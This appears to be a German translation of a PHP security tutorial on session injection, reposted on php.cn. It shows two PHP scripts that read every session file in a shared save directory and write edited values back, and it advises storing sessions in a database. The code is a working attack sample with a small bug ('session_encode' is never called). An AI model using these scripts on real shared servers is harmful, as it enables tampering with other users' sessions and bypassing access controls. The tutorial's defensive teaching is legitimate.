Heim  >  Artikel  >  Backend-Entwicklung  >  PHP-Sicherheit – Sitzungsinjektion

PHP-Sicherheit – Sitzungsinjektion

黄舟
黄舟Original
2017-02-20 09:36:151074Durchsuche



Session-Injection

Ein ähnliches Problem wie die Sitzungsexposition ist die Sitzungsinjektion. Diese Art von Angriff basiert darauf, dass Ihr WEB-Server nicht nur über Leseberechtigungen für das Sitzungsspeicherverzeichnis, sondern auch über Schreibberechtigungen verfügt. Daher ist es möglich, ein Skript zu schreiben, das es anderen Benutzern ermöglicht, Sitzungen hinzuzufügen, zu bearbeiten oder zu löschen. Das folgende Beispiel zeigt ein HTML-Formular, mit dem Benutzer vorhandene Sitzungsdaten einfach bearbeiten können:

<?php
 
  session_start();
 
  ?>
 
  <form action="inject.php" method="POST">
 
  <?php
 
  $path = ini_get(&#39;session.save_path&#39;);
  $handle = dir($path);
 
  while ($filename = $handle->read())
  {
    if (substr($filename, 0, 5) == &#39;sess_&#39;)
    {
      $sess_data =
file_get_contents("$path/$filename");
 
      if (!empty($sess_data))
      {
        session_decode($sess_data);
        $sess_data = $_SESSION;
        $_SESSION = array();
 
        $sess_name = substr($filename, 5);
        $sess_name = htmlentities($sess_name,
ENT_QUOTES, &#39;UTF-8&#39;);
        echo "<h1>Session
[$sess_name]</h1>";
 
        foreach ($sess_data as $name =>
$value)
        {
          $name = htmlentities($name, ENT_QUOTES,
&#39;UTF-8&#39;);
          $value = htmlentities($value, ENT_QUOTES,
&#39;UTF-8&#39;);
          echo "<p>
                $name:
                <input type=\"text\"
                name=\"{$sess_name}[{$name}]\"
                value=\"$value\" />
                </p>";
        }
 
        echo &#39;<br />&#39;;
      }
    }
  }
 
  $handle->close();
 
  ?>
 
  <input type="submit" />
  </form>


Das Skript inject.php führt die in der Form angegebenen Änderungen durch:

 <?php
 
  session_start();
 
  $path = ini_get(&#39;session.save_path&#39;);
 
  foreach ($_POST as $sess_name =>
$sess_data)
  {
    $_SESSION = $sess_data;
    $sess_data = session_encode;
 
    file_put_contents("$path/$sess_name",
$sess_data);
  }
 
  $_SESSION = array();
 
  ?>


Solche Angriffe sind äußerst gefährlich. Ein Angreifer kann nicht nur die Daten Ihrer Benutzer, sondern auch seine eigenen Sitzungsdaten bearbeiten. Es ist leistungsfähiger als Session Hijacking, da der Angreifer alle Sitzungsdaten zur Änderung auswählen kann, wodurch Zugriffsbeschränkungen und andere Sicherheitsmaßnahmen umgangen werden können.

Die beste Lösung für dieses Problem besteht darin, die Sitzungsdaten in einer Datenbank zu speichern. Siehe im vorherigen Abschnitt gezeigt.


Das Obige ist der Inhalt der PHP-Sicherheitssitzungsinjektion. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website (www.php.cn). !


Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn